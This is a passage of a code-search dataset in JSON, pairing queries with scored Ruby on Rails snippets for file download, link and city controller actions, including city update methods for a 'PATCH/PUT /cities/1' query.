"text": "def index\n @downloads = Download.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @downloads }\n end\n end",
"title": ""
},
{
"docid": "9ea91a99bde769e0299fb935b272c114",
"score": "0.5525403",
"text": "def index\n @urls = ShortenedUrl.order(\"updated_at ASC\").all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render :json => @urls }\n end\n end",
"title": ""
},
{
"docid": "c5f608aa37aa4096e1d24b82b714deb2",
"score": "0.5519726",
"text": "def index\n @picture_links = PictureLink.all\n end",
"title": ""
},
{
"docid": "06bdac5f5abdd60f414377f4d93adf94",
"score": "0.551042",
"text": "def index\n @materials = Material.all\n for el in @materials\n el[:file_url] = \"#{el.file.service_url}\"\n end\n end",
"title": ""
},
{
"docid": "0a3f614216267fd60f73ffdf7eeef80a",
"score": "0.5504308",
"text": "def blue_links\n `ls #{wiki_db_root}`.inject('{') do |memo, fp|\n memo + %'\"#{file_name_to_path(fp)}\":true,'\n end + '}'\n end",
"title": ""
},
{
"docid": "3c1bf4259f3d32243944acd400f4f035",
"score": "0.55005157",
"text": "def download_list\n task = params[:task]\n files = []\n\n case task\n when DOWNLOAD_ACTION, OPEN_ACTION, COPY_ACTION, COPY_TO_PRIVATE_ACTION\n nodes = Node.accessible_by(@context).where(id: params[:ids])\n nodes.each { |node| files += node.is_a?(Folder) ? node.all_files : [node] }\n when PUBLISH_ACTION\n nodes = Node.editable_by(@context).\n where(id: params[:ids]).\n where.not(scope: UserFile::SCOPE_PUBLIC)\n nodes.each do |node|\n files += if node.is_a?(Folder)\n node.all_files(Node.where.not(scope: UserFile::SCOPE_PUBLIC))\n else\n [node]\n end\n end\n when DELETE_ACTION\n nodes = Node.editable_by(@context).where(id: params[:ids]).to_a\n files += nodes\n nodes.each { |node| files += node.all_children if node.is_a?(Folder) }\n files.filter! { |file| file.scope == params[:scope] }\n else\n raise ApiError, \"Parameter 'task' is not defined!\"\n end\n\n render json: files,\n each_serializer: FileActionsSerializer,\n scope_name: params[:scope] || SCOPE_PRIVATE,\n action_name: task\n end",
"title": ""
},
{
"docid": "7303882feaf878ca128fb964f98fe293",
"score": "0.5486681",
"text": "def files options = {}\n ensure_connection!\n resp = connection.list_files name, options\n if resp.success?\n File::List.from_resp resp, connection\n else\n fail ApiError.from_response(resp)\n end\n end",
"title": ""
},
{
"docid": "a19205ba54e08cf9b9799df67bd502bd",
"score": "0.54861057",
"text": "def b2_list_file_names(file)\n\n auth_hash = convert_json(b2_authorize_account)\n api_url = auth_hash[\"apiUrl\"]\n account_authorization_token = auth_hash[\"authorizationToken\"]\n bucket_id = ENV['bucket_id']\n prefix = file\n\n uri = URI(\"#{api_url}/b2api/v1/b2_list_file_names\")\n req = Net::HTTP::Post.new(uri)\n req.add_field(\"Authorization\",\"#{account_authorization_token}\")\n req.body = \"{\\\"bucketId\\\":\\\"#{bucket_id}\\\", \\\"prefix\\\":\\\"#{prefix}\\\"}\"\n http = Net::HTTP.new(req.uri.host, req.uri.port)\n http.use_ssl = true\n res = http.start {|http| http.request(req)}\n\n case res\n when Net::HTTPSuccess then res.body\n when Net::HTTPRedirection then fetch(res['location'], limit - 1)\n else res.error!\n end\n\nend",
"title": ""
},
{
"docid": "f79ac6570d331f18aac97ba1c7d21373",
"score": "0.547095",
"text": "def get(path = '/files/', params = {})\n request :get, path, params\n end",
"title": ""
},
{
"docid": "0c01ffe26935135357d22eeb26a4231f",
"score": "0.5454704",
"text": "def files_get(opts = {})\n files_get_with_http_info(opts)\n end",
"title": ""
},
{
"docid": "85746d7f30bb55fd01149fdba73dec9d",
"score": "0.5453908",
"text": "def download_link\n return_hash = {}\n if params.has_key?(\"web_ids\")\n web_ids_str = params[\"web_ids\"]\n web_ids = web_ids_str.split(\"~\")\n if !web_ids.respond_to?(:count) || web_ids.count < 1\n return_hash[\"status\"] = \"error\"\n return_hash[\"error\"] = \"no web_ids after split\"\n render(json: return_hash.to_json, content_type: request.format, layout: false)\n end\n web_ids.each(&:strip!)\n parametrized_doi = @dataset.identifier.parameterize\n download_hash = DownloaderClient.datafiles_download_hash(@dataset, web_ids, \"DOI-#{parametrized_doi}\")\n if download_hash\n if download_hash[\"status\"] == \"ok\"\n web_ids.each do |web_id|\n datafile = Datafile.find_by(web_id: web_id)\n if datafile\n # Rails.logger.warn \"recording datafile download for web_id #{web_id}\"\n datafile.record_download(request.remote_ip)\n else\n # Rails.logger.warn \"did not find datafile for web_id #{web_id}\"\n end\n end\n return_hash[\"status\"] = \"ok\"\n return_hash[\"url\"] = download_hash[\"download_url\"]\n return_hash[\"total_size\"] = download_hash[\"total_size\"]\n else\n return_hash[\"status\"] = \"error\"\n return_hash[\"error\"] = download_hash[\"error\"]\n end\n else\n return_hash[\"status\"] = \"error\"\n return_hash[\"error\"] = \"nil zip link returned\"\n end\n render(json: return_hash.to_json, content_type: request.format, layout: false)\n else\n return_hash[\"status\"] = \"error\"\n return_hash[\"error\"] = \"no web_ids in request\"\n render(json: return_hash.to_json, content_type: request.format, layout: false)\n end\n end",
"title": ""
},
{
"docid": "e8eb158aec9df2ab603d944f1ccb6db2",
"score": "0.5440023",
"text": "def index\n @publinks = Publink.all\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @publinks }\n end\n end",
"title": ""
},
{
"docid": "d32709e5c1ffe2520d0683f75c0cfc1a",
"score": "0.5438093",
"text": "def file_link\n return \"#{SITE_URL}system/ufiles/#{id}/original/#{ufile_file_name}\"\n end",
"title": ""
},
{
"docid": "e890acf639ba2636162fd34d2f65132d",
"score": "0.54341835",
"text": "def links\n return {} unless current_user\n\n # rubocop:disable Metrics/BlockLength\n super.tap do |links|\n links[:show] = api_asset_path(object)\n links[:user] = user_path(object.user.dxuser)\n links[:space] = space_path if object.in_space?\n\n # POST download_list asset\n links[:download_list] = download_list_api_files_path\n # POST /api/files/copy copy_api_files\n links[:copy] = copy_api_files_path\n\n if object.license.present? && object.license_status?(current_user, \"active\")\n unless object.license.owned_by_user?(current_user)\n # GET download single asset\n links[:download] = download_api_file_path(object)\n end\n end\n\n if object.license.blank? && object.owned_by_user?(current_user)\n # GET download single asset\n links[:download] = download_api_file_path(object)\n end\n\n if object.license.present? && !object.license_status?(current_user, \"active\")\n if object.license.approval_required\n unless object.license_status?(current_user, \"pending\")\n # GET|POST /licenses/:id/request_approval\n links[:request_approval_license] =\n request_approval_license_path(object.license.id)\n links[:request_approval_action] = \"api/licenses/:id/request_approval\"\n end\n else\n # POST /api/licenses/:id/accept\n links[:accept_license_action] =\n object.license && accept_api_license_path(object.license.id)\n end\n end\n\n # GET asset license page if exists\n links[:show_license] = license_path(object.license.id) if object.license\n\n if object.owned_by_user?(current_user)\n unless object.in_space? && member_viewer?\n # publish single asset if it is not public already\n links[:publish] = publish_object unless object.public?\n # POST: /api/assets/rename\n links[:rename] = rename_api_assets_path(object)\n # DELETE: /api/assets/:id - Delete single asset\n links[:remove] = api_asset_path(object)\n # POST associate item to a license\n links[:license] = \"/api/licenses/:id/license_item/:item_uid\" if licenseable\n if object.license&.owned_by_user?(current_user)\n # GET asset license object if exists\n links[:object_license] = api_license_path(object.license&.id)\n # POST detach license from item\n links[:detach_license] = \"/api/licenses/:id/remove_item/:item_uid\"\n end\n # PUT /api/assets/:id update single asset: title and description permitted\n links[:update] = api_asset_path(object)\n end\n end\n # POST /api/attach_to: api_attach_to_notes, discussions, answers\n links[:attach_to] = api_attach_to_notes_path\n\n if current_user.can_administer_site?\n # PUT /api/assets/feature #\n links[:feature] = feature_api_assets_path\n end\n # rubocop:enable Metrics/BlockLength\n end\n end",
"title": ""
},
{
"docid": "248e4ac12566b7b3a16a927eed6088c5",
"score": "0.5433648",
"text": "def get_upload_urls(mime_type)\n\tputs \"Getting upload urls\"\n\tresponse = request_get_with_param('/api/file/getpreupload', mime_type)\n\tputs response.body\nend",
"title": ""
},
{
"docid": "0e432dac54696e4852e82b1e912a36ed",
"score": "0.54330873",
"text": "def show\n @treq = Treq.find(params[:id])\n @treq_files = @treq.treq_files.all\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @treq }\n end\n end",
"title": ""
},
{
"docid": "6ea966d5cb4bc8abc88f235250b23c00",
"score": "0.54280216",
"text": "def show\n @link = Link.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render json: @link }\n end\n end",
"title": ""
},
{
"docid": "ca78d2eb0c9a5035e2a6472399f15626",
"score": "0.5426383",
"text": "def downloaded\n files_list = []\n files = session[:user].x_files.all(:downloads.gte => 1, uploaded: true)\n files.each { |file| files_list.push(file.description(session[:user])) }\n @result = { files: files_list, success: true }\n end",
"title": ""
},
{
"docid": "ba95bcad97649b67d896622edba0d6b7",
"score": "0.5422192",
"text": "def tracks_get_download_link params = { :track_id => nil, :reason => 'save' }\n json = send_request 'tracks_get_download_link', params\n if json['success'] == true\n json['url']\n else\n puts \"Error: \" + json['message']\n exit\n end\n end",
"title": ""
},
{
"docid": "de2c8332170d92c26ab003cebdf123f8",
"score": "0.541753",
"text": "def get(request, response)\n raise NotFound unless exist?\n# if stat.directory?\n# response.body = \"\"\n# Rack::Directory.new(root).call(request.env)[2].each do |line|\n# response.body << line\n# end\n# response['Content-Length'] = response.body.size.to_s\n# else\n# file = Rack::File.new(root)\n# response.body = file\n# end\n if collection?\n response.body = \"<html>\"\n response.body << \"<h2>\" + file_path.html_safe + \"</h2>\"\n children.each do |child|\n name = child.file_path.html_safe\n path = child.public_path\n response.body << \"<a href='\" + path + \"'>\" + name + \"</a>\"\n response.body << \"</br>\"\n end\n response.body << \"</html>\"\n response['Content-Length'] = response.body.size.to_s\n response['Content-Type'] = 'text/html'\n else\n @filesystem.open(file_path, 'r') do |f|\n response.body = f\n response['Content-Type'] = @bson['contentType']\n end\n end\n\n end",
"title": ""
},
{
"docid": "d11377333991bea812d11c0b6f17f7ab",
"score": "0.5415833",
"text": "def media_file_references\n mf_references = {}\n\n self.collectionobject_links.each do |co_link|\n begin\n co_resource = Resource.find(co_link.resource_id)\n\n MediaFile.where('sourceable_id=? AND resource_id=?', co_link.id, self.id).find_each do |media_resource|\n if media_resource.access == 1 and media_resource.display_collectionobject_link == 1\n mf_references[co_resource.id] = [co_resource.title, co_resource.collection_identifier]\n end\n end\n rescue => e\n # noop\n end\n end\n return mf_references\n end",
"title": ""
},
{
"docid": "a50e07c6246b1bcaed78fa4745cd5fbe",
"score": "0.5412135",
"text": "def index\n @medusa_premis_file_objects = MedusaPremis::FileObject.all\n\n respond_to do |format|\n format.html {setup_next_and_previous_documents} # index.html.erb\n format.json { render json: @medusa_premis_file_objects }\n end\n end",
"title": ""
},
{
"docid": "b8f7afce2f0586a7c2acd96732cca89a",
"score": "0.5411687",
"text": "def get_files_upload_urls(custom_params = {})\n\n default_params = {\n \"images\" => {\n \"file1.png\" => 'image/png',\n \"file2.jpg\" => 'image/jpg'\n },\n \"pdfs\" => {\n \"file3.pdf\" => \"application/pdf\"\n }\n }\n custom_params = default_params if custom_params.blank?\n\n endpoint = \"/api/#{@version}/kyc/get-file-upload-urls/\"\n params = request_parameters(endpoint, custom_params)\n get(params)\n end",
"title": ""
},
{
"docid": "a8fe275ea7944e5adac2533bdeaad295",
"score": "0.54106027",
"text": "def index\n @filedownloads = Filedownload.all\n end",
"title": ""
},
{
"docid": "aff60745fe568c444a96d3e97427111f",
"score": "0.54044884",
"text": "def url(**options)\n file&.url(**options)\n end",
"title": ""
},
{
"docid": "fce4d3167d8268b3fa8ae985590c9db8",
"score": "0.5403661",
"text": "def url_content\n\t file.url\n\tend",
"title": ""
},
{
"docid": "82e5756405a1c6dfd208ef83eef156c9",
"score": "0.54021156",
"text": "def destroy\n @file_link.destroy\n respond_to do |format|\n format.html { redirect_to file_links_url }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "5a967e946b734877d152eafebf447f90",
"score": "0.5396987",
"text": "def show\n @link = Link.find(params[:id])\n\n respond_to do |format|\n format.html # show.html.erb\n format.json { render :json => @link }\n end\n end",
"title": ""
},
{
"docid": "3c8f87225532e5dc1e98fc005504382a",
"score": "0.5396268",
"text": "def get_file(url)\n get(url).body\n end",
"title": ""
},
{
"docid": "d20ea117b2d1178f507c54fe01cbfaf3",
"score": "0.539501",
"text": "def show\n puts params[:id]\n @file_versions = FileVersion.where(versioned_file_id: params[:id]) \n #@file_versions = FileVersion.find(:versioned_file_id => params[:versioned_file_id])\n render json: @file_versions\n end",
"title": ""
},
{
"docid": "e7036b7c121e0783412838e2298d2c12",
"score": "0.53940743",
"text": "def bannerAll\n @links = Link.order(\"link asc\")\n respond_to do |format|\n format.html # bannerAll.html.erb\n format.json { render json: @link }\n end\n end",
"title": ""
}
] |
51ba5af5a2ba88c07ef699ada2c301fd | PATCH/PUT /cities/1 PATCH/PUT /cities/1.json | [
{
"docid": "a713df1811fb089c7f9132d5f8242016",
"score": "0.59824437",
"text": "def update\n if @city.update city_params\n redirect_to cities_url\n else\n render 'edit'\n end\n end",
"title": ""
}
] | [
{
"docid": "0c147569976df49c1fd916abf80f35ee",
"score": "0.6734544",
"text": "def update\n respond_to do |format|\n if @city.update(city_params)\n format.json { head :no_content }\n else\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fea1e9357a972347e52dad643e622548",
"score": "0.65473807",
"text": "def update\n @city = City.find(params[:id])\n\n if @city.update(city_params)\n head :no_content\n else\n render json: @city.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "ee1c3d59282af74636a4e34d30fbabfb",
"score": "0.643457",
"text": "def update\n @api_city = Api::City.find(params[:id])\n\n if @api_city.update(api_city_params)\n head :no_content\n else\n render json: @api_city.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "f74beab71cde242bcb3d074795ffae90",
"score": "0.63863516",
"text": "def update\n @city = City.find(params[:id])\n\n respond_to do |format|\n if @city.update_attributes(params[:city])\n format.html { redirect_to @city, notice: 'City was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f74beab71cde242bcb3d074795ffae90",
"score": "0.63863516",
"text": "def update\n @city = City.find(params[:id])\n\n respond_to do |format|\n if @city.update_attributes(params[:city])\n format.html { redirect_to @city, notice: 'City was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f74beab71cde242bcb3d074795ffae90",
"score": "0.63863516",
"text": "def update\n @city = City.find(params[:id])\n\n respond_to do |format|\n if @city.update_attributes(params[:city])\n format.html { redirect_to @city, notice: 'City was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c5fd986166f5ace7015889da34cf402f",
"score": "0.6385898",
"text": "def update\n @city = City.find(params[:id])\n\n respond_to do |format|\n if @city.update_attributes(params[:city])\n format.html { redirect_to @city, :notice => 'City was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @city.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a8d27341f788dd959156a637ccaa1015",
"score": "0.63676697",
"text": "def update\n @city = City.find(params[:id])\n\n respond_to do |format|\n if @city.update_attributes(params[:city_id])\n format.html { redirect_to @city, notice: 'City was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8b86166f8ac640e206c749764318f5d5",
"score": "0.63610214",
"text": "def update\n @city = City.find(params[:id])\n\n respond_to do |format|\n if @city.update_attributes(params[:city])\n format.html { redirect_to @city, notice: 'City was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e84700d783cb0fad17e23814fe1ea179",
"score": "0.6360895",
"text": "def update\n respond_to do |format|\n if @city.update(city_params)\n format.html { redirect_to @city, notice: 'City was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7b03d55a20ed4c5ab7a1780a7274538b",
"score": "0.6344826",
"text": "def update\n @city = City.find(params[:id])\n\n respond_to do |format|\n if @city.update_attributes(params[:city])\n format.html { redirect_to country_state_city_path, :notice => t('controller_message.updated') }\n format.json { head :no_content }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @city.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "45b96df2308d36d7ec22ae53d21b0740",
"score": "0.62889767",
"text": "def update\n @jobs_city = JobsCity.find(params[:id])\n\n respond_to do |format|\n if @jobs_city.update_attributes(params[:jobs_city])\n format.html { redirect_to @jobs_city, notice: 'Jobs city was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @jobs_city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "73c22f69f758bf0dda04f3a4ec411e92",
"score": "0.62792385",
"text": "def update\n respond_to do |format|\n if @major_city.update(major_city_params)\n format.html { redirect_to @major_city, notice: 'Major city was successfully updated.' }\n format.json { render :show, status: :ok, location: @major_city }\n else\n format.html { render :edit }\n format.json { render json: @major_city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "dcd4e6c36c3a3193f15c04d1ad6f3389",
"score": "0.62659717",
"text": "def update\n respond_to do |format|\n if @city.update(city_params)\n format.html { redirect_to cities_path, notice: 'City was successfully updated.' }\n format.json { render :show, status: :ok, location: @city }\n else\n format.html { render :edit }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "1fe5e6a5044fa82e1e725b940c12a274",
"score": "0.6264334",
"text": "def update\n respond_to do |format|\n if @city.update(city_params)\n @cities = City.all\n format.js { render :file=> 'cities/update_cities.js.erb', notice: 'City was successfully updated.' }\n format.json { render :show, status: :ok, location: @city }\n else\n format.html { render :edit }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b05ac683b29411be15647d4c2ff3d89b",
"score": "0.62623453",
"text": "def update\n @city = City.find(params[:id])\n\n respond_to do |format|\n if @city.update_attributes(params[:city])\n format.html { redirect_to admin_city_path(@city), :flash => :success }\n format.json { head :no_content }\n else\n format.html { render action: :edit }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6884018f64c679117237da05dabc8b8c",
"score": "0.6238786",
"text": "def update\n respond_to do |format|\n if @city.update(city_params)\n format.html { redirect_to cities_url, notice: 'City was successfully updated.' }\n format.json { render :show, status: :ok, location: @city }\n else\n format.html { render :edit }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a1fd57434c28e1361f23cd82456ad8ab",
"score": "0.6231564",
"text": "def update\n respond_to do |format|\n if @city.update(city_params)\n format.html { redirect_to cities_url, notice: \"#{@city.city} was successfully updated.\" }\n format.json { render :show, status: :ok, location: @city }\n else\n format.html { render :edit }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "24f975173e783490add3f71565328895",
"score": "0.62297004",
"text": "def update\n respond_to do |format|\n if @city.update(city_params)\n format.html { redirect_to @city, notice: 'City was successfully updated.' }\n format.json { render json: { ok: true, city: @city } }\n else\n format.html { render :edit }\n format.json { render json: { ok: false, errors: @city.errors.full_messages } }\n end\n end\n end",
"title": ""
},
{
"docid": "7f7c16b9e14f1352bb07fd27f83679a7",
"score": "0.6191653",
"text": "def patch(path, params: {}, headers: {})\n request_json :patch, path, params, headers\n end",
"title": ""
},
{
"docid": "abb483778fd7958a7fc9823a0a3b191c",
"score": "0.61825675",
"text": "def test_should_update_city\n @item = City.find(8338)\n @item.ufi = 3333\n #json: '{\"type\": \"Feature\", \"properties\": {\"name\": \"Buenos Aires\", \"admin_code\": 203, \"ufi\": 3333, \"mgcc\": 12, \"population\": 12116379, \"attrib\": 131}, \"geometry\": {\"type\": \"Point\", \"coordinates\": [-58.6725, -34.5875]}, \"id\": 8338}'\n put :update, parse_body(@item.to_geojson)\n assert_equal @item.to_geojson, @response.body\n end",
"title": ""
},
{
"docid": "d5eaea298e64625a71a15a970f3b75ed",
"score": "0.6178819",
"text": "def patch *args\n make_request :patch, *args\n end",
"title": ""
},
{
"docid": "77aecc20b269e454f697d689d1637b6f",
"score": "0.61701113",
"text": "def update!(**args)\n @cities = args[:cities] if args.key?(:cities)\n @kind = args[:kind] if args.key?(:kind)\n end",
"title": ""
},
{
"docid": "cec2f52eb5b080f3f194871cd11a3b63",
"score": "0.6152493",
"text": "def update\n respond_to do |format|\n if @city.update(city_params)\n format.html { redirect_to admin_dashboard_cities_path, notice: 'city was successfully updated.' }\n format.json { render :show, status: :ok, location: @city }\n else\n format.html { render :edit }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "52e8d3c9b95c14ddadfa2689af4c4a12",
"score": "0.6141353",
"text": "def update\n respond_to do |format|\n if @city.update(city_params)\n format.html { redirect_to @city, notice: 'City was successfully updated.' }\n format.json { render :show, status: :ok, location: @city }\n else\n format.html { render :edit }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "52e8d3c9b95c14ddadfa2689af4c4a12",
"score": "0.6141353",
"text": "def update\n respond_to do |format|\n if @city.update(city_params)\n format.html { redirect_to @city, notice: 'City was successfully updated.' }\n format.json { render :show, status: :ok, location: @city }\n else\n format.html { render :edit }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "52e8d3c9b95c14ddadfa2689af4c4a12",
"score": "0.6141353",
"text": "def update\n respond_to do |format|\n if @city.update(city_params)\n format.html { redirect_to @city, notice: 'City was successfully updated.' }\n format.json { render :show, status: :ok, location: @city }\n else\n format.html { render :edit }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "52e8d3c9b95c14ddadfa2689af4c4a12",
"score": "0.6141353",
"text": "def update\n respond_to do |format|\n if @city.update(city_params)\n format.html { redirect_to @city, notice: 'City was successfully updated.' }\n format.json { render :show, status: :ok, location: @city }\n else\n format.html { render :edit }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "52e8d3c9b95c14ddadfa2689af4c4a12",
"score": "0.6141353",
"text": "def update\n respond_to do |format|\n if @city.update(city_params)\n format.html { redirect_to @city, notice: 'City was successfully updated.' }\n format.json { render :show, status: :ok, location: @city }\n else\n format.html { render :edit }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "52e8d3c9b95c14ddadfa2689af4c4a12",
"score": "0.6141353",
"text": "def update\n respond_to do |format|\n if @city.update(city_params)\n format.html { redirect_to @city, notice: 'City was successfully updated.' }\n format.json { render :show, status: :ok, location: @city }\n else\n format.html { render :edit }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "52e8d3c9b95c14ddadfa2689af4c4a12",
"score": "0.6141353",
"text": "def update\n respond_to do |format|\n if @city.update(city_params)\n format.html { redirect_to @city, notice: 'City was successfully updated.' }\n format.json { render :show, status: :ok, location: @city }\n else\n format.html { render :edit }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "970f5688fec62e54b1b1ed333e6e5893",
"score": "0.61292195",
"text": "def update\n @city = City.find(params[:id])\n\n respond_to do |format|\n if @city.update_attributes(params[:city])\n format.html { redirect_to citys_url}\n # format.html { redirect_to @city, notice: '更新成功' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "af9aedd4f428a2c26c3fd57798526020",
"score": "0.6105965",
"text": "def put(path, data = {}, header = {})\n _send(json_request(Net::HTTP::Patch, path, data, header))\n end",
"title": ""
},
{
"docid": "2b5951c89f624969cce994633983816d",
"score": "0.6064611",
"text": "def update\n @city_service = CityService.find(params[:id])\n\n respond_to do |format|\n if @city_service.update_attributes(params[:city_service])\n format.html { redirect_to @city_service, notice: 'City service was successfully updated.' }\n format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @city_service.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f5badbca28491e1314483eaaa0d6121e",
"score": "0.6060937",
"text": "def update\n @dataele_city = DataeleCity.find(params[:id])\n\n respond_to do |format|\n if @dataele_city.update_attributes(params[:dataele_city])\n format.html { redirect_to @dataele_city, notice: 'Dataele city was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @dataele_city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "fe34f93da0751ad55cc5052cfdd2366c",
"score": "0.60592353",
"text": "def update\n render json: Person.update(params[\"id\"], params[\"person\"])\n end",
"title": ""
},
{
"docid": "ea416b077fa0aa7e84ec3fe2ef9c3772",
"score": "0.60389",
"text": "def put\n request_method('PUT')\n end",
"title": ""
},
{
"docid": "92c3e4308147fbbe9fcaf34a5fb6703d",
"score": "0.6016075",
"text": "def update\n @city = City.find(params[:id])\n respond_to do |format|\n if @city.update_attributes(params[:city])\n format.html { redirect_to(@city, :notice => 'City was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @city.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "64c54030cedb397012c737a2ec63e768",
"score": "0.60133564",
"text": "def update\n @city.update_attributes(city_params)\n respond_with @city, notice: 'Cidade atualizada com sucesso.'\n end",
"title": ""
},
{
"docid": "8a6b5c37facf8fb680334d3be330f971",
"score": "0.60115546",
"text": "def update\n state_id = city_params[:state_id]\n @state = State.find(state_id)\n @city.state = @state\n respond_to do |format|\n if @city.update(city_params)\n format.html { redirect_to cities_url, notice: 'City was successfully updated.' }\n format.json { render :show, status: :ok, location: @city }\n else\n @cities = City.all.map{ |c| c = (c.id == @city.id)? @city:c}\n @city = City.new\n format.html { render :index }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8ba5343a19fc49dbef515083473d9288",
"score": "0.6010329",
"text": "def update\n respond_to do |format|\n if @city.update(city_params)\n format.html { redirect_to [:admin, @city], notice: t('activerecord.models.city') + ' 已成功更新.' }\n format.json { head :no_content }\n else\n format.html { render action: 'edit' }\n format.json { render json: @city.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2c5497f059ab1d7457ffc834ecb8f6a2",
"score": "0.60102284",
"text": "def patch(path, params = {})\n request(:patch, path, params)\n end",
"title": ""
},
{
"docid": "26d7edc00d88e090f4d3ad5128deef14",
"score": "0.6005736",
"text": "def update\n @locality = Locality.find(params[:id])\n \n respond_to do |format|\n if @locality.update_attributes(params[:locality])\n flash[:notice] = 'Locality was successfully updated.'\n format.html { redirect_to(admin_localities_path) }\n format.xml { head :ok }\n else\n @cities = City.find(:all, :order => :name)\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @locality.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "b1311f478bcaf31244e62c72c6577028",
"score": "0.6005346",
"text": "def update\n\t\t@params = params\n\t\tif params[:authenticity_token].nil?\n\t\t\trender 'update'\n\t\telse \n\t\t\tif !$cities[:name].nil?\n\t\t\t\t$cities[(params[:name]).to_sym].update(params)\t\n\t\t\t\trender 'view'\n\t\t\telse \n\t\t\t\tnewCity = City.new(params)\n \t\tnewCity.save\n \t\trender 'view'\n\t\t\tend\n\t\tend\n\tend",
"title": ""
},
{
"docid": "d429ea4b9abe1b090f6ac8aea11ef53d",
"score": "0.60020447",
"text": "def update\n @city = City.find(params[:id])\n\n respond_to do |format|\n if @city.update_attributes(params[:city])\n format.html { redirect_to(@city, :notice => 'City was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @city.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "d429ea4b9abe1b090f6ac8aea11ef53d",
"score": "0.60014886",
"text": "def update\n @city = City.find(params[:id])\n\n respond_to do |format|\n if @city.update_attributes(params[:city])\n format.html { redirect_to(@city, :notice => 'City was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @city.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "aa0b87a16ede7353758305dbbaf57c22",
"score": "0.5998882",
"text": "def put(*a) route 'PUT', *a end",
"title": ""
},
{
"docid": "1c35f89f4e93251128bbf53c08021b3d",
"score": "0.599869",
"text": "def update\n @company_id = company_params[:company_id]\n @reponse = HTTParty.put(\"https://rails-api-ipo.herokuapp.com/api/v1/companies/#{@company_id}.json\",\n :body => {:company_name => company_params[:company_name]}.to_json,\n :headers => { 'Content-Type' => 'application/json' } )\n respond_to do |format|\n format.html { redirect_to '/companies/'+(@reponse['id'].to_s), notice: 'Company was successfully created.' }\n end\n end",
"title": ""
},
{
